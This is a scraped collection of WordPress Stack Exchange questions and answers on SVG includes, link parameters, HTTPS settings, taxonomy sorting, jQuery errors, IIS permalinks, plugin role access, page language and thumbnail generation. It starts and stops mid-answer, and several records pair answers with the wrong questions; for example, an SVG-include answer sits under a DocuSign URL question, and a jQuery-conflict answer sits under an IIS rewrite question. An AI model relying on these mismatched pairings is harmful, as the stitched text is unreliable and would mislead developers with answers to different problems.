you won't need to wrap your logic around an `IF` statement
```
if( $post_type == 'slider' ) {...CODE...}
```
Since `save_post_slider` will only run for `Slider` post type. |
256,438 | <p>I want to include an SVG icon file after the body tag and I'm using this code:</p>
<pre><code><?php include_once("assets/img/sprites.svg"); ?>
</code></pre>
<p>But I get this error:</p>
<blockquote>
<p>Parse error: syntax error, unexpected T_STRING in /home/ostadba1/public_html/wp-content/themes/ostad/assets/img/sprites.svg on line 1</p>
</blockquote>
<p>the purpose for this is that I want use those icons with one line of code:</p>
<pre><code><svg class="icon"><use xlink:href="#shopping-cart"></use></svg>
</code></pre>
<p>How can I load an SVG file correctly in WordPress?</p>
| [
{
"answer_id": 256442,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>The command <code>include_once()</code> is used to include php files. SVG is just an image file, it should ... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256438",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/107115/"
] | I want to include an SVG icon file after the body tag and I'm using this code:
```
<?php include_once("assets/img/sprites.svg"); ?>
```
But I get this error:
>
> Parse error: syntax error, unexpected T\_STRING in /home/ostadba1/public\_html/wp-content/themes/ostad/assets/img/sprites.svg on line 1
>
>
>
the purpose for this is that I want use those icons with one line of code:
```
<svg class="icon"><use xlink:href="#shopping-cart"></use></svg>
```
How can I load an SVG file correctly in WordPress? | It's because that's not how you should include an SVG in PHP,
`include_once` is used for including PHP files.
Reason behind this error:
```
PHP Parse error: syntax error, unexpected version (T_STRING)
```
is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:
```
<?xml version="1.0" encoding="utf-8"?>
```
**Solution 1**: *To fix this, just remove the XML header tag from your SVG file completely.*
**Solution 2:** Follow these tutorials. (*Recommended*)
1. [The Perfect WordPress Inline SVG Workflow](http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow)
2. [Using Inline SVG Sprites in WordPress Themes](https://richtabor.com/svg-inline-sprites-in-themes/)
This is a much better way of including SVGs in your themes.
Both of them explain the same concept.
These tutorials will help you understand how to include an SVG in PHP in **WordPress**.
*Now how to include them after the body tag?*
This requires for you to use these tutorials in your theme files where appropriate.
For instance, if your theme opens the body tag in `index.php` you'll need to modify `index.php` and include the SVGs there.
**Solution 3:**
```
<?php echo file_get_contents("filename.svg"); ?>
```
You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.
However, playing with theme files requires PHP and WordPress knowledge to some extent. |
256,439 | <p>Im using Calculated Form Fields plugin for a Wordpress website. I already created the form I needed, but now I need to add the calculated price from the form as a URL parameter dynamically, when the button bellow the form is clicked. </p>
<p>The website uses Visual Composer and this is the button html:</p>
<pre><code><a class="nectar-button medium accent-color has-icon regular-button" target="_blank" href="https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&amp;Institutional_Buyer_AnnualPrice=15000"><span>Purchase Kuali Ready</span></a>
</code></pre>
<p>I want to change the "Institutional_Buyer_AnnualPrice=15000" part of the URL to be added/changed dynamically, according to what is the price in the field. And this is my current JavaScript code:</p>
<pre><code>(function($) {
document.getElementsByClassName("nectar-button").onclick = function() {
var link = document.getElementsByClassName("nectar-button");
var price = $('#fieldname9_1').val();
link.setAttribute('href','https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=' + price);
return false;
}
})(jQuery);
</code></pre>
<p>Here is the link of the page: <a href="https://www.kuali.co/products/kuali-ready-online-purchasing/" rel="nofollow noreferrer">https://www.kuali.co/products/kuali-ready-online-purchasing/</a></p>
<p>I`ve already tried the solutions of like 3-4 questions about the same topic I found on Stackoverflow, but none of them works for me, thats why I wrote the question to wordpress.stackexchange.com</p>
<p>p.s. Please ignore the fact that making the js code work will affect all the buttons created with Visual Composer for now.</p>
| [
{
"answer_id": 256442,
"author": "Johansson",
"author_id": 94498,
"author_profile": "https://wordpress.stackexchange.com/users/94498",
"pm_score": 0,
"selected": false,
"text": "<p>The command <code>include_once()</code> is used to include php files. SVG is just an image file, it should ... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256439",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112015/"
] | Im using Calculated Form Fields plugin for a Wordpress website. I already created the form I needed, but now I need to add the calculated price from the form as a URL parameter dynamically, when the button bellow the form is clicked.
The website uses Visual Composer and this is the button html:
```
<a class="nectar-button medium accent-color has-icon regular-button" target="_blank" href="https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=15000"><span>Purchase Kuali Ready</span></a>
```
I want to change the "Institutional\_Buyer\_AnnualPrice=15000" part of the URL to be added/changed dynamically, according to what is the price in the field. And this is my current JavaScript code:
```
(function($) {
document.getElementsByClassName("nectar-button").onclick = function() {
var link = document.getElementsByClassName("nectar-button");
var price = $('#fieldname9_1').val();
link.setAttribute('href','https://na2.docusign.net/member/PowerFormSigning.aspx?PowerFormId=df6fbf3d-6f5d-4c48-8965-f4fa810099f4&Institutional_Buyer_AnnualPrice=' + price);
return false;
}
})(jQuery);
```
Here is the link of the page: <https://www.kuali.co/products/kuali-ready-online-purchasing/>
I`ve already tried the solutions of like 3-4 questions about the same topic I found on Stackoverflow, but none of them works for me, thats why I wrote the question to wordpress.stackexchange.com
p.s. Please ignore the fact that making the js code work will affect all the buttons created with Visual Composer for now. | It's because that's not how you should include an SVG in PHP,
`include_once` is used for including PHP files.
Reason behind this error:
```
PHP Parse error: syntax error, unexpected version (T_STRING)
```
is that PHP was unable to parse the beginning of the SVG file at the point where the XML version was defined:
```
<?xml version="1.0" encoding="utf-8"?>
```
**Solution 1**: *To fix this, just remove the XML header tag from your SVG file completely.*
**Solution 2:** Follow these tutorials. (*Recommended*)
1. [The Perfect WordPress Inline SVG Workflow](http://blog.teamtreehouse.com/perfect-wordpress-inline-svg-workflow)
2. [Using Inline SVG Sprites in WordPress Themes](https://richtabor.com/svg-inline-sprites-in-themes/)
This is a much better way of including SVGs in your themes.
Both of them explain the same concept.
These tutorials will help you understand how to include an SVG in PHP in **WordPress**.
*Now how to include them after the body tag?*
This requires for you to use these tutorials in your theme files where appropriate.
For instance, if your theme opens the body tag in `index.php` you'll need to modify `index.php` and include the SVGs there.
**Solution 3:**
```
<?php echo file_get_contents("filename.svg"); ?>
```
You can just echo the contents of your SVG file wherever you want in your HTML section of your PHP file.
However, playing with theme files requires PHP and WordPress knowledge to some extent. |
256,454 | <p>The admin panel of my WordPress (4.7.2) installation on my hosting (godaddy) has "Links" section enabled.</p>
<p>I set it up a few seconds ago with storefront theme. Then removed storefront and activated starter theme _S (underscores).</p>
<p>Even though I <strong>did not</strong> use following code, the links section is visible. Why is that?</p>
<pre><code>add_filter( 'pre_option_link_manager_enabled', '__return_true' );
</code></pre>
<p><a href="https://i.stack.imgur.com/cqHCe.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/cqHCe.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 256458,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 1,
"selected": false,
"text": "<p>Is this a brand-new site, or one that you've recently upgraded to 4.7.2? If the latter, here's one possibility:... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256454",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/112778/"
] | The admin panel of my WordPress (4.7.2) installation on my hosting (godaddy) has "Links" section enabled.
I set it up a few seconds ago with storefront theme. Then removed storefront and activated starter theme \_S (underscores).
Even though I **did not** use following code, the links section is visible. Why is that?
```
add_filter( 'pre_option_link_manager_enabled', '__return_true' );
```
[](https://i.stack.imgur.com/cqHCe.png) | If you install WordPress using the GoDaddy cPanel then GoDaddy will automatically install a number of [Must Use Plugins](https://codex.wordpress.org/Must_Use_Plugins) in your installation. These plugins are invisible and you can't disable them by normal means. One of these plugins is enabling the Link Manager.
Aside: If you haven't worked on your site yet I recommend [installing WordPress manually](https://codex.wordpress.org/Installing_WordPress). The plugins GoDaddy adds will add unnecessary features and sometimes conflict with other plugins. |
256,457 | <p>I've installed WordPress and setup the database.<br>
I go to the address and the setup page is there, but no CSS.<br>
I think: something's wrong, but if I just do the setup maybe everything will just go back to normal.<br>
No.<br>
So then I spend a while looking through search results for WordPress styles not working etc.<br>
I discover that all the links are present in the head of the page(s), and they point to the right pages, but they are not being loaded.<br>
WordPress is trying to use a secure connection, but I don't have an SSL certificate or anything like that and I shouldn't think I'll need one for this either. This means that all the links to stylesheets and scripts are seen as untrustworthy and blocked.<br>
I changed my searches to point in the direction of disabling https / ssl, but nothing I have found works.<br>
E.g. I've tried adding stuff to my .htaccess file (lost the link to another related question on this site)<br>
I've tried to find lines like <code>define( 'force_SSL', true );</code> in wp-config.php but to no avail (<a href="https://stackoverflow.com/questions/22338756/gae-php-how-to-disable-https-for-wordpress">related question</a>). I've tried adding these lines (switching them to false) as well.<br></p>
<p>Thanks for any help.</p>
<p>Solution:
The problem was not what I thought it was. Dataplicity (I am running off a pi) forces use of HTTPS, but as wordpress <em>wasn't</em> using HTTPS, the 'insecure' scripts weren't being loaded. All I needed to do was enable HTTPS.</p>
<p>I'm sure the answers below would have helped if my problem was what I thought it was, and I hope they'll help others with the same problem as I thought I had.</p>
| [
{
"answer_id": 256461,
"author": "Pat J",
"author_id": 16121,
"author_profile": "https://wordpress.stackexchange.com/users/16121",
"pm_score": 4,
"selected": false,
"text": "<p>Check your <code>wp-config.php</code> file for lines like:</p>\n\n<pre><code>define( 'WP_SITEURL', 'https://exa... | 2017/02/14 | [
"https://wordpress.stackexchange.com/questions/256457",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113319/"
] | I've installed WordPress and setup the database.
I go to the address and the setup page is there, but no CSS.
I think: something's wrong, but if I just do the setup maybe everything will just go back to normal.
No.
So then I spend a while looking through search results for WordPress styles not working etc.
I discover that all the links are present in the head of the page(s), and they point to the right pages, but they are not being loaded.
WordPress is trying to use a secure connection, but I don't have an SSL certificate or anything like that and I shouldn't think I'll need one for this either. This means that all the links to stylesheets and scripts are seen as untrustworthy and blocked.
I changed my searches to point in the direction of disabling https / ssl, but nothing I have found works.
E.g. I've tried adding stuff to my .htaccess file (lost the link to another related question on this site)
I've tried to find lines like `define( 'force_SSL', true );` in wp-config.php but to no avail ([related question](https://stackoverflow.com/questions/22338756/gae-php-how-to-disable-https-for-wordpress)). I've tried adding these lines (switching them to false) as well.
Thanks for any help.
Solution:
The problem was not what I thought it was. Dataplicity (I am running off a pi) forces use of HTTPS, but as wordpress *wasn't* using HTTPS, the 'insecure' scripts weren't being loaded. All I needed to do was enable HTTPS.
I'm sure the answers below would have helped if my problem was what I thought it was, and I hope they'll help others with the same problem as I thought I had. | Check your `wp-config.php` file for lines like:
```
define( 'WP_SITEURL', 'https://example.com' );
define( 'WP_HOME', 'https://example.com' );
```
Also check your database's `{prefix}_options` table:
```
SELECT * FROM wp_options WHERE option_name='siteurl' OR option_name='home';
```
...assuming that your database's prefix is `wp_`. |
256,510 | <p>I can't find answer to my question, just hope you will find it relevant.</p>
<p>I'm working a magazine website and I need to display names of contributors in a list by family names. The contributors have been created by a custom taxonomy. Some of those names have <strong>more than one First names</strong>.</p>
<p>Example</p>
<p><strong>S</strong></p>
<p>Jane Gabriella Maria <strong>Sanchez</strong><br>
John <strong>Smith</strong></p>
<p>So what I did is that I created a custom field for the family name. It works and put them in the right order. Here's my code the I created with the help of some resource <a href="https://wordpress.stackexchange.com/questions/176354/display-custom-taxonomy-terns-ordered-by-meta-value">here</a>. The only thing I would like to be able to do now is to query only by the first letter of the get_field('family_name', $term). To been able to group them on my page. A, B, C, D.....</p>
<pre><code> <?php
$terms = get_terms('contributors');
$args = array('contributors' => $term->slug);
$query = new WP_Query( $args );
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position] ='<li><a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a></li>';
}
ksort($order_terms);
foreach( $order_terms as $order_term ) {
echo $order_term;
}
?>
</code></pre>
<p>Maybe it's not possible, let me know.</p>
<p>Thanks in advance.</p>
| [
{
"answer_id": 256591,
"author": "CodeMascot",
"author_id": 44192,
"author_profile": "https://wordpress.stackexchange.com/users/44192",
"pm_score": 1,
"selected": false,
"text": "<p>Hope the below code block will help you. Please read the comments carefully. The code block-</p>\n\n<pre><... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256510",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/6695/"
] | I can't find answer to my question, just hope you will find it relevant.
I'm working a magazine website and I need to display names of contributors in a list by family names. The contributors have been created by a custom taxonomy. Some of those names have **more than one First names**.
Example
**S**
Jane Gabriella Maria **Sanchez**
John **Smith**
So what I did is that I created a custom field for the family name. It works and put them in the right order. Here's my code the I created with the help of some resource [here](https://wordpress.stackexchange.com/questions/176354/display-custom-taxonomy-terns-ordered-by-meta-value). The only thing I would like to be able to do now is to query only by the first letter of the get\_field('family\_name', $term). To been able to group them on my page. A, B, C, D.....
```
<?php
$terms = get_terms('contributors');
$args = array('contributors' => $term->slug);
$query = new WP_Query( $args );
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position] ='<li><a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a></li>';
}
ksort($order_terms);
foreach( $order_terms as $order_term ) {
echo $order_term;
}
?>
```
Maybe it's not possible, let me know.
Thanks in advance. | So I finally been able to solve my problem by using two fields that I added to my custom taxonony called "Contributors". One for the admin of the site to write the family name of each contributor and a field to tell in which letter group it belong.
I'm sure there would be easier way to code this but, with my limited nowledge in coding, that's the best I could do.
Here's my code:
```
<!-- Letter A -->
<?php
$terms = get_terms(array(
'taxonomy' => 'contributors',
'meta_key' => 'letter_group',
'meta_value' => 'a'
));
if(!empty ($terms)) {
$args = array(
'contributors' => $term->slug,
);
$query = new WP_Query( $args ); ?>
<section class="names">
<h3>A</h3>
<p>
<?php
$order_terms = array();
foreach( $terms as $term ) {
$position = get_field('family_name', $term);
$order_terms[$position][] ='<a href="'. get_bloginfo( 'url' ) . '/contributors/' . $term->slug . '">'.$term->name.'</a><br>'; }
ksort($order_terms);
foreach( $order_terms as $a ) {
foreach($a as $order_term)
echo $order_term;}
wp_reset_postdata();
?>
</p>
</section>
<?php
}
?>
``` |
256,547 | <p>I am currently using the GeoDirectory add-on for Wordpress and as of late, I haven't made any changes to Wordpress other than the fact that wordpress has upgraded to the latest version. </p>
<p>When I add an event, without a package then JQuery appears to be working fine, everything on the page appears and works the way it should so the link it like...</p>
<p>wp-admin/post.php?post=0000&action=edit</p>
<p>With that link JQuery is working, however when I select a package which you have to do the URL changes which throws up errors within the console when I view it...
The URL when the package is selected changes to this...</p>
<p>wp-admin/post.php?post=0000&action=edit&package_id=2 </p>
<p>These are the errors that get thrown up..</p>
<p><a href="https://i.stack.imgur.com/8HaeP.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/8HaeP.png" alt="enter image description here"></a></p>
<p>It almost appears as though with the extra tag on the end of the URL the JQuery is not being read at all?</p>
| [
{
"answer_id": 256552,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 1,
"selected": false,
"text": "<p>When connecting your scripts indicate that the script should work when connected to jQuery:</p>\n\n<pre><co... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256547",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113383/"
] | I am currently using the GeoDirectory add-on for Wordpress and as of late, I haven't made any changes to Wordpress other than the fact that wordpress has upgraded to the latest version.
When I add an event, without a package then JQuery appears to be working fine, everything on the page appears and works the way it should so the link it like...
wp-admin/post.php?post=0000&action=edit
With that link JQuery is working, however when I select a package which you have to do the URL changes which throws up errors within the console when I view it...
The URL when the package is selected changes to this...
wp-admin/post.php?post=0000&action=edit&package\_id=2
These are the errors that get thrown up..
[](https://i.stack.imgur.com/8HaeP.png)
It almost appears as though with the extra tag on the end of the URL the JQuery is not being read at all? | There are this type of problem occure. In case-
**1-** jQuery function conflict to other jquery function.
To remove this type of problem, define below script in **wp-config.php** file.
```
define('CONCATENATE_SCRIPTS', false);
```
**2-** jQuery liberaray file are not include in frontend.
**3-** Jquery same file defined more than one time. then this type of issue show in firebug. |
256,558 | <p>i have enable permalinks on my wordpress site and now every page returns 404 error. The site is hosted in IIS 8.5</p>
<p>the web.config file has the following rule inside</p>
<pre><code><?xml version="1.0" encoding="UTF-8"?>
</code></pre>
<p>
</p>
<pre><code><directoryBrowse enabled="false"/>
<rewrite>
<rules>
<clear/>
<rule name="wordpress" stopProcessing="true">
<match url=".*" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>
</rules>
</rewrite>
</code></pre>
<p>
</p>
<p>what can i do to fix that and make permalinks work?</p>
| [
{
"answer_id": 256552,
"author": "TrubinE",
"author_id": 111011,
"author_profile": "https://wordpress.stackexchange.com/users/111011",
"pm_score": 1,
"selected": false,
"text": "<p>When connecting your scripts indicate that the script should work when connected to jQuery:</p>\n\n<pre><co... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256558",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/110915/"
] | i have enable permalinks on my wordpress site and now every page returns 404 error. The site is hosted in IIS 8.5
the web.config file has the following rule inside
```
<?xml version="1.0" encoding="UTF-8"?>
```
```
<directoryBrowse enabled="false"/>
<rewrite>
<rules>
<clear/>
<rule name="wordpress" stopProcessing="true">
<match url=".*" />
<conditions logicalGrouping="MatchAll">
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php" />
</rule>
</rules>
</rewrite>
```
what can i do to fix that and make permalinks work? | There are this type of problem occure. In case-
**1-** jQuery function conflict to other jquery function.
To remove this type of problem, define below script in **wp-config.php** file.
```
define('CONCATENATE_SCRIPTS', false);
```
**2-** jQuery liberaray file are not include in frontend.
**3-** Jquery same file defined more than one time. then this type of issue show in firebug. |
256,569 | <p>I am using ultimate <a href="https://wordpress.org/plugins/ultimate-product-catalogue/" rel="nofollow noreferrer">Product Catalog plugin</a> in WordPress. Currently only Administrator role users are able to view the plugin settings.</p>
<p>But I need Editor, Contributor, and Author role users also has to have access to view the specific plugin. Can anyone please provide me the solution to grant access to view the specific plug-in.</p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. A... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256569",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113391/"
] | I am using ultimate [Product Catalog plugin](https://wordpress.org/plugins/ultimate-product-catalogue/) in WordPress. Currently only Administrator role users are able to view the plugin settings.
But I need Editor, Contributor, and Author role users also has to have access to view the specific plugin. Can anyone please provide me the solution to grant access to view the specific plug-in. | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,570 | <p>My WordPress blog is set up as <code>nl_NL</code>. This means that my <a href="http://booking-wp-plugin.com/" rel="nofollow noreferrer">bookly plugin</a> is also displayed in <code>nl_NL</code>.</p>
<p>In the Plugin directory there is a folder languages with loads of other languages.</p>
<p>I have one page in three different languages <code>nl_NL</code>, <code>de_DE</code>, <code>en_EN</code>, on this page I would like the booking plugin to be displayed in the correct language. </p>
<p>I changed the page language via page id from <code>nl_NL</code> to <code>de_DE</code></p>
<p>
</p>
<p>Via the <code>function.php</code>, but this had no effect. </p>
<pre><code>function get_top_parent_page_id() {
global $post;
if ($post->ancestors) {
return end($post->ancestors);
} else {
return $post->ID;
}
}
function addLangMetaTag (){
$postLanguage = "nl_NL";
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
echo "<meta http-equiv=\"content-language\" content=\"" . $postLanguage . "\">";
}
}
add_filter( 'wp_head', 'addLangMetaTag' );
function language_tagger_change_html_lang_tag() {
return "dir=\"ltr\" lang=\"" .
language_tagger_determin_lang_tag() . "\"";
}
function language_tagger_determin_lang_tag() {
$postLanguage = 'nl_NL'; // default language
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
}
return $postLanguage;
}
add_filter('language_attributes',
'language_tagger_change_html_lang_tag');
</code></pre>
<p>I think it will only look at the WordPress <code>config.php</code> <code>define('WPLANG', 'nl_NL');</code>
I have also been reading <a href="https://wordpress.stackexchange.com/questions/72692/how-do-i-change-the-language-of-only-the-login-page#">this post</a> maybe I could combine something?</p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. A... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256570",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113384/"
] | My WordPress blog is set up as `nl_NL`. This means that my [bookly plugin](http://booking-wp-plugin.com/) is also displayed in `nl_NL`.
In the Plugin directory there is a folder languages with loads of other languages.
I have one page in three different languages `nl_NL`, `de_DE`, `en_EN`, on this page I would like the booking plugin to be displayed in the correct language.
I changed the page language via page id from `nl_NL` to `de_DE`
Via the `function.php`, but this had no effect.
```
function get_top_parent_page_id() {
global $post;
if ($post->ancestors) {
return end($post->ancestors);
} else {
return $post->ID;
}
}
function addLangMetaTag (){
$postLanguage = "nl_NL";
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
echo "<meta http-equiv=\"content-language\" content=\"" . $postLanguage . "\">";
}
}
add_filter( 'wp_head', 'addLangMetaTag' );
function language_tagger_change_html_lang_tag() {
return "dir=\"ltr\" lang=\"" .
language_tagger_determin_lang_tag() . "\"";
}
function language_tagger_determin_lang_tag() {
$postLanguage = 'nl_NL'; // default language
if (is_page()) {
$svPageID = get_top_parent_page_id(); // ID of parent page
if ($svPageID == "13040") { // ID of the "på svenska" page
$postLanguage = "de_DE";
}
}
return $postLanguage;
}
add_filter('language_attributes',
'language_tagger_change_html_lang_tag');
```
I think it will only look at the WordPress `config.php` `define('WPLANG', 'nl_NL');`
I have also been reading [this post](https://wordpress.stackexchange.com/questions/72692/how-do-i-change-the-language-of-only-the-login-page#) maybe I could combine something? | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,580 | <p>I am trying to load a full width video on my homepage. My situation is almost exactly like:
<a href="https://wordpress.stackexchange.com/questions/226303/video-background-php-css-generating-404-error-on-page-load-wordpress-t/226421">Video Background - (php & css) - generating 404 error on page load - Wordpress Theme File Structure Help</a></p>
<p>However, I do have the path to my video set as: </p>
<pre><code><source src="/wp-content/themes/uf2016/assets/videos/videobg.mp4" type="video/mp4">
</code></pre>
<p>This is a stuck I have been on for a while and have tried various ways to call in the video but all result in a 404. What am I missing that is causing wordpress to not see this file?</p>
<p>Console output error</p>
<p><a href="https://i.stack.imgur.com/AQP18.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/AQP18.png" alt="enter image description here"></a></p>
<p>Console output error when using get_template_directory_uri()</p>
<p><a href="https://i.stack.imgur.com/wGFLN.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/wGFLN.png" alt="enter image description here"></a></p>
| [
{
"answer_id": 256628,
"author": "I'm Joe Too",
"author_id": 60972,
"author_profile": "https://wordpress.stackexchange.com/users/60972",
"pm_score": 0,
"selected": false,
"text": "<p>Use <code>current_user_can( 'edit_posts' )</code> which applies to any logged in user above subscriber. A... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256580",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/113398/"
] | I am trying to load a full width video on my homepage. My situation is almost exactly like:
[Video Background - (php & css) - generating 404 error on page load - Wordpress Theme File Structure Help](https://wordpress.stackexchange.com/questions/226303/video-background-php-css-generating-404-error-on-page-load-wordpress-t/226421)
However, I do have the path to my video set as:
```
<source src="/wp-content/themes/uf2016/assets/videos/videobg.mp4" type="video/mp4">
```
This is a stuck I have been on for a while and have tried various ways to call in the video but all result in a 404. What am I missing that is causing wordpress to not see this file?
Console output error
[](https://i.stack.imgur.com/AQP18.png)
Console output error when using get\_template\_directory\_uri()
[](https://i.stack.imgur.com/wGFLN.png) | Got a fix for this.
Get current user id and based on ID get current user info.From that user info get user role. If user role is not subscriber then only we can add menu page. This way editors/contributors can access plugin.
Below is the working code.
```
<?php
$userID = get_current_user_id();
$user = new WP_User($userID);
$userRole = $user->roles[0];
if($userRole!="subscriber")
{
$Access_Role =$userRole;
$UPCP_Menu_page = add_menu_page($page_title, $menu_title, $Access_Role, 'UPCP-options', 'UPCP_Output_Options',null , '50.5');
add_action("load-$UPCP_Menu_page", "UPCP_Screen_Options");
}
?>
``` |
256,590 | <p>I've noticed that WordPress does not generate a thumbnail for an image if the uploaded image's size is the same as the thumbnail's size. </p>
<p>To make this clear, here is an example: </p>
<p>I have an image with a size of <code>300x200px</code>. My thumbnail's size in the WordPress setting is also <code>300x200</code>. So, when i upload this image, no thumbnail of <code>300x200</code> size will be generated, because the uploaded image <strong>itself</strong> is considered a thumbnail to WordPress!</p>
<p>I've tracked it down to <code>wp_generate_attachment_metadata()</code> function, which decides not to crop an image if the image's size is equal to a thumbnail's size. <a href="https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/" rel="nofollow noreferrer">Here</a> is the link to this function's content.</p>
<p>This function has a filter, as the following:</p>
<p><code>apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );</code></p>
<p>How can i make this function to make the thumbnail, no matter what size?</p>
<p>Thanks.</p>
<p><strong>UPDATE 1:</strong></p>
<p>Following the answer by @birgire, i have included my custom <code>multi_resize()</code> function in the question:</p>
<pre><code>function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
</code></pre>
<p>I'm using this function for some other purposes, mentioned <a href="https://wordpress.stackexchange.com/q/255462/94498">this</a> question.</p>
| [
{
"answer_id": 256620,
"author": "Jeff82",
"author_id": 77924,
"author_profile": "https://wordpress.stackexchange.com/users/77924",
"pm_score": -1,
"selected": false,
"text": "<p>Wordpress should automatically create all specified sizes of an image when it's uploaded to the media library... | 2017/02/15 | [
"https://wordpress.stackexchange.com/questions/256590",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/94498/"
] | I've noticed that WordPress does not generate a thumbnail for an image if the uploaded image's size is the same as the thumbnail's size.
To make this clear, here is an example:
I have an image with a size of `300x200px`. My thumbnail's size in the WordPress setting is also `300x200`. So, when i upload this image, no thumbnail of `300x200` size will be generated, because the uploaded image **itself** is considered a thumbnail to WordPress!
I've tracked it down to `wp_generate_attachment_metadata()` function, which decides not to crop an image if the image's size is equal to a thumbnail's size. [Here](https://developer.wordpress.org/reference/functions/wp_generate_attachment_metadata/) is the link to this function's content.
This function has a filter, as the following:
`apply_filters( 'wp_generate_attachment_metadata', $metadata, $attachment_id );`
How can i make this function to make the thumbnail, no matter what size?
Thanks.
**UPDATE 1:**
Following the answer by @birgire, i have included my custom `multi_resize()` function in the question:
```
function multi_resize($sizes) {
$sizes = parent::multi_resize($sizes);
//we add the slug to the file path
foreach ($sizes as $slug => $data) {
$sizes[$slug]['file'] = $slug . "/" . $data['file'];
}
return $sizes;
}
```
I'm using this function for some other purposes, mentioned [this](https://wordpress.stackexchange.com/q/255462/94498) question. | If I understand the question correctly, you want to generate
```
test.jpg
test-150x150.jpg
```
instead of just:
```
test.jpg
```
when you upload an image called `test.jpg`, of size 150x150, the same as the *thumbnail* size. (*I used the 150x150 size here instead of your 300x200 to avoid confusing it with the medium size*)
